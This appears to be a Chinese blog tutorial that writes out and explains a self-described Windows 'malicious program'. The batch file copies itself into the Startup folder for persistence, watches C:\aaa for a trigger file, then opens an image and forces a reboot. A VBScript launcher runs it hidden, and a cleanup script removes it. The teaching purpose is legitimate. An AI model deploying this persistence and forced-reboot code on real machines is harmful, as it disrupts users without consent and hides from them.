[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 1 需求
- 2 windows 实现需求
- 2.1 恶意程序 windows-2.bat 源码
- 2.1.1 恶意程序 windows-2.bat 源码
- 2.1.2 恶意程序 windows-2.bat 源码讲解
- 2.2 清除程序 windows-kill.bat 源码
- 2.2.1 清除程序 windows-kill.bat 源码
- 2.2.2 清除程序 windows-kill.sh 源码讲解
- 2.3 后台运行vbs文件
- 2.3.1 windows-background.vbs 源码
- 2.3.2 windows-background.vbs 源码讲解
- 2.4 演示
- 2.3.1 恶意程序 windows-2.bat
- 2.3.2 清除程序 windows-kil.bat
- 2.3.3 后台运行:windows-background.vbs文件
- 2.3.4 恶意文件a.txt
- 2.3.5 1.jpg
- 2.3.6 操作步骤
- 2.3.6.1 执行 windows-background.vbs
- 2.3.6.2 特定文件移动到特定目录
- 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
- 2.3.6.4 执行 windows-kill.bat 清除恶意程序
- 相关资源
1 需求
需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D
2 windows 实现需求
恶意程序
windows-2.bat
监测特定目录C:aaa
出现特定文件a.txt
执行恶意操作start C:\1.jpg
2.1 恶意程序 windows-2.bat 源码
2.1.1 恶意程序 windows-2.bat 源码
@echo off
chcp 65001setlocalset "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (REM 如果不存在,则复制文件,创建启动项copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"echo 启动项创建成功。
) else (echo 目标目录中已存在该文件。
)setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt":Start
if exist "%targetDir%\%targetFile%" (echo %targetFile% 文件已经存在于 %targetDir% start C:\aaa\1.jpgecho 系统将在1分钟后重新启动...timeout /t 0 /nobreak > nulecho 正在执行重启操作...shutdown /r /f /t 60
) else (timeout /t 1 >nulgoto Start
)pause
2.1.2 恶意程序 windows-2.bat 源码讲解
这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:
第一部分:创建启动项
@echo off
: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001
: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal
: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa"
: 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
: 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat"
: 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat"
: 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。
if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。
copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。
echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (
: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。
: 输出一条消息,表示目标目录中已经存在该文件。
第二部分:监控文件并执行重启操作
setlocal
: 再次开始本地环境更改。
set "targetDir=C:\aaa"
: 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt"
: 设置变量targetFile,其值为要监控的文件名a.txt。
:Start
: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (
: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%
: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg
: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...
: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul
: 等待0秒,不中断用户输入。
echo 正在执行重启操作...
: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60
: 强制重启计算机,并在60秒后执行重启。
) else (
: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。
goto Start: 跳转到标签Start,继续监控文件的存在。
pause
: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。
2.2 清除程序 windows-kill.bat 源码
2.2.1 清除程序 windows-kill.bat 源码
@echo off
chcp 65001del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (REM 如果存在,则删除文件del "%destination_folder%\%destination_file_name%" echo 启动项文件已经成功删除。
) else (echo 目标目录没有该文件。
)pause
2.2.2 清除程序 windows-kill.sh 源码讲解
@echo off
: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001
: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat"
: 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。
: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg"
: 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。
: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
: 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat"
: 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件
: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (
: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%"
: 如果存在,则删除该文件。
echo 启动项文件已经成功删除。
: 输出一条消息,表示启动项文件已被删除。
) else (
: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。
: 输出一条消息,表示目标目录中没有找到该文件。
pause
: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。
2.3 后台运行vbs文件
2.3.1 windows-background.vbs 源码
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False
2.3.2 windows-background.vbs 源码讲解
这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell")
: 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False
: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat"
: 这是要运行的批处理文件的路径。
0
: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False
: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。
2.4 演示
2.3.1 恶意程序 windows-2.bat
2.3.2 清除程序 windows-kil.bat
2.3.3 后台运行:windows-background.vbs文件
用来隐藏CMD窗口的
2.3.4 恶意文件a.txt
2.3.5 1.jpg
2.3.6 操作步骤
2.3.6.1 执行 windows-background.vbs
直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个
C:\aaa
目录。
如果说C:\aaa
这个特定的目录下出现了a.txt
这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。
2.3.6.2 特定文件移动到特定目录
我是直接拖过去的
2.3.6.3 恶意程序监测到特定文件并执行恶意操作
打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.bat
和windows-2.bat
是一模一样的,只不过改了一个名字
一分钟后关机操作
等待一分钟之后,重启
2.3.6.4 执行 windows-kill.bat 清除恶意程序
回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。
恶意启动项已删除。
恶意程序已删除。
恶意图片己删除。
相关资源
shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)
相关文章:

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)
🍬 博主介绍 👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...

SQLI LABS | Less-33 GET-Bypass AddSlashes()
关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客 0x01:过关流程 输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来): http://localhost/sqli-labs/Less-33/ "Ad…...

界面控件DevExpress WPF中文教程:Data Grid——卡片视图设置
DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…...

flink 内存配置(一):设置Flink进程内存
flink 内存配置(一):设置Flink进程内存 flink 内存配置(二):设置TaskManager内存 flink 内存配置(三):设置JobManager内存 flink 内存配置(四)…...

贪心算法习题其三【力扣】【算法学习day.20】
前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴&am…...

速盾:高防cdn针对网站的好处有哪些?
高防CDN(Content Delivery Network)是一种网络分发技术,它能够提供可靠的网站高防护服务,有效地解决了网站遭受DDoS攻击、恶意流量等网络安全问题。高防CDN的应用已经变得越来越广泛,对于网站的好处也变得越发明显。 …...

【Java SE语法】抽象类(abstract class)和接口(interface)有什么异同?
目录 1. 抽象类与接口的基本概念 1.1 抽象类 1.2 接口 2. 抽象类与接口的异同 2.1 相同点 2.2 不同点 3. 拓展知识:多态与设计模式 3.1 多态 3.2 设计模式 4. 结论 在软件工程中,设计模式和代码结构的选择对于构建可维护、可扩展的系统至关重要…...

京准同步:GPS北斗卫星授时服务器发展趋势介绍
京准同步:GPS北斗卫星授时服务器发展趋势介绍 京准同步:GPS北斗卫星授时服务器发展趋势介绍 GPS北斗卫星授时服务器的发展趋势紧密围绕着不断提升的时间同步精度、可靠性、安全性,以及适应广泛应用场景的需求展开,以下是卫星授时…...

鸿蒙多线程开发——并发模型对比(Actor与内存共享)
1、概 述 并发是指在同一时间段内,能够处理多个任务的能力。为了提升应用的响应速度与帧率,以及防止耗时任务对主线程的干扰,HarmonyOS系统提供了异步并发和多线程并发两种处理策略。 异步并发:指异步代码在执行到一定程度后会被…...

【计算机网络】章节 知识点总结
一、计算机网络概述 1. 计算机网络向用户提供的两个最重要的功能:连通性、共享 2. 因特网发展的三个阶段: 第一阶段:从单个网络 ARPANET 向互联网发展的过程。1983 年 TCP/IP 协议成为 ARPANET 上的标准协议。第二阶段:建成三级…...

开箱即用!265种windows渗透工具合集--灵兔宝盒
【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1 介绍 Rabbit_Treasure_Box_V1.0.1是一款Windows渗透工具箱,集成Dawn Launcher管理,便捷备份更新。内含脚本工具及在线安全工具,覆盖信息收集、漏洞利用、逆向破解、蓝队防御等多领域&am…...

怎么在哔哩哔哩保存完整视频
哔哩哔哩(B站)作为一个集视频分享、弹幕互动于一体的平台,吸引了大量用户。许多人希望能够将自己喜欢的完整视频保存到本地,以便离线观看或分享。直接下载视频的功能并不总是可用,因此,本文将介绍几种在哔哩哔哩上保存完整视频的方…...

CPU算法分析LiteAIServer视频智能分析平台视频智能分析:抖动、过亮与过暗检测技术
随着科技的飞速发展,视频监控系统在各个领域的应用日益广泛。然而,视频质量的好坏直接影响到监控系统的效能,尤其是在复杂多变的光照条件下和高速数据传输中,视频画面常常出现抖动、过亮或过暗等问题,导致监控视频难以…...

fastGPT调用stable diffusion生成图片,本地模型使用ollama
ps:192.168.1.100换成你的ip 一、开器stable diffusion的api访问 Git上copy的项目,在启动web-ui.bat/sh时加上--api的启动参数. /web-ui.bat --api我这里使用的stabble-diffusion-docker构建的默认就开启了 http://192.168.1.100:7860/docs 二…...

【jmeter】jmeter的线程组功能的详细介绍
初衷 之前在公司做的性能测试基本上都是关于数据库的,针对接口的性能测试还是比较少一点。考虑到后边大模型问答产品的推广,公司方面也要求对相关接口进行压测,也趁着这个机会,对jmeter进行深入研究,进一步加强自己性…...

高边坡安全监测系统的工作原理和应用领域
高边坡安全监测系统的工作原理主要依赖于各种先进的传感器设备,这些传感器能够实时地捕捉和记录边坡的位移、应力、裂缝、倾斜和沉降等多种关键数据。这些数据的采集是通过高精度的监测设备进行的,确保了数据的准确性和可靠性。采集到的数据随后通过高效…...

Java:多态的调用
1.什么是多态 允许不同类的对象对同一消息做不同的响应。即同一消息可以根据发送对象的不同而采用多种不同的行为方式。(发送消息就是函数调用)。多态使用了一种动态绑定(dynamic binding)技术,指在执行期间判断所引用…...

A day a tweet(seventeen)——Visualize Convolution Neural Network!
a.形象化地CNNs visually explained! . .CNN(Convolution Neural Network) 卷积神经网络 a.不可思议的,难以置信的 v.使形象化CNN explainer is an incredible interactive tool to visualize the internal workings of a CNN. n.解释器;讲解员 …...

卡达掐发展史
自行车是一种简单而又伟大的交通工具。自从19世纪诞生以来,它不仅改变了人们的出行方式,也深刻地影响了我们的生活方式、城市布局以及健康观念。作为一种绿色、经济的出行工具,自行车至今仍在全球范围内被广泛使用。本文将从自行车的历史、结…...

UI界面设计入门:打造卓越用户体验
互联网的迅猛发展催生了众多相关职业,其中UI界面设计师成为互联网行业的关键角色之一。UI界面设计无处不在,影响着网站、应用程序以及其他数字平台上的按钮、菜单布局、色彩搭配和字体排版等。UI设计不仅仅是字体、色彩和导航栏的组合,它的意…...

【Linux:tcp三次握手和四次挥手】
目录 三次握手: 两次握手 丢包问题与乱序问题 四次挥手 为什么客户端需要等待超时时间? TCP报文中含有SYN、ACK、FIN等标识,把这些标识设置1就是开启这些标识,设置为0就是关掉这些标识 三次握手: 在客户端发送tc…...

大数据Informatica面试题及参考答案
目录 什么是 Informatica?它主要解决什么问题? 什么是 Informatica PowerCenter? Informatica PowerCenter 的主要组成部分有哪些? 解释 Informatica PowerCenter 的主要组件。 Informatica PowerCenter 与 DataStage 有何区别? 解释 Informatica 中的源 (Source) 和…...

Gradient Boosting Regressor(GBDT)--- 论文实战
一、前言 在《机器学习论文复现实战---linear regression》中通过Pearson 相关性分析,去除了2个高相关性特征 "PN" 和 "AN" ,数据维度变为890*25。(数据集地址) 这里我们不做任何前期处理,直接就将数据放入 GBDT 模型中进行训练了。 二、模型训练过程…...

Python教程:python枚举类定义和使用
在Python中,枚举类(Enum)用于表示一组常量,使代码更加清晰和易于维护。枚举类通过enum模块定义。以下是如何定义和使用枚举类的详细步骤。 定义枚举类 首先,你需要导入enum模块,然后定义一个枚举类。枚举…...

Java学习Day60:微服务总结!(有经处无火,无火处无经)
1、技术版本 jdk:17及以上 -如果JDK8 springboot:3.1及其以上 -版本2.x springFramWork:6.0及其以上 -版本5.x springCloud:2022.0.5 -版本格林威治或者休斯顿 2、模拟springcloud 父模块指定父pom <parent><…...

MySQL日期类型选择建议
我们平时开发中不可避免的就是要存储时间,比如我们要记录操作表中这条记录的时间、记录转账的交易时间、记录出发时间、用户下单时间等等。你会发现时间这个东西与我们开发的联系还是非常紧密的,用的好与不好会给我们的业务甚至功能带来很大的影响。所以…...

70B的模型做微调,使用A10*8的卡能够使用
使用 8 张 A10 GPU(每张 A10 GPU 大约有 24 GB 的显存)来微调 70B 参数的模型会比较困难,主要原因是显存不足。像 70B 参数量级的模型(如 LLaMA-2 70B、BLOOM-176B)通常需要几百 GB 以上的显存,仅加载模型就…...

将vscode的终端改为cygwin terminal
现在终端是默认的power shell,没有显示cygwin 接下来选择默认配置文件 找到cygwin的选项即可 然后提示可能不安全什么的,点是,就有了...

《ASP.Net Core技术内幕与项目实战》读书笔记_1
ch1 .NET Core入门 .NET介绍 这一章主要说的是.Net Core、.Net Framework、.Net Stanard三个之间的关系。通俗来讲就是Core是新出的、能跨平台,Framwork是老版的、不能跨平台,Standard是为了在Framework、Core、Xamarin中统一库的使用而定制的规范&#…...

【青牛科技】应用方案|D2587A高压大电流DC-DC
1、概述 D2587A稳压器是专为反激式、升压和正向转换器应用而设计的单片集成电路。该器件提供四种不同的输出电压版本:3.3V、5V、12V 和可调节电压。这些稳压器需要的外部元器件很少,因此具有成本效益,并且易于使用。该电源开关是一款5A NPN器…...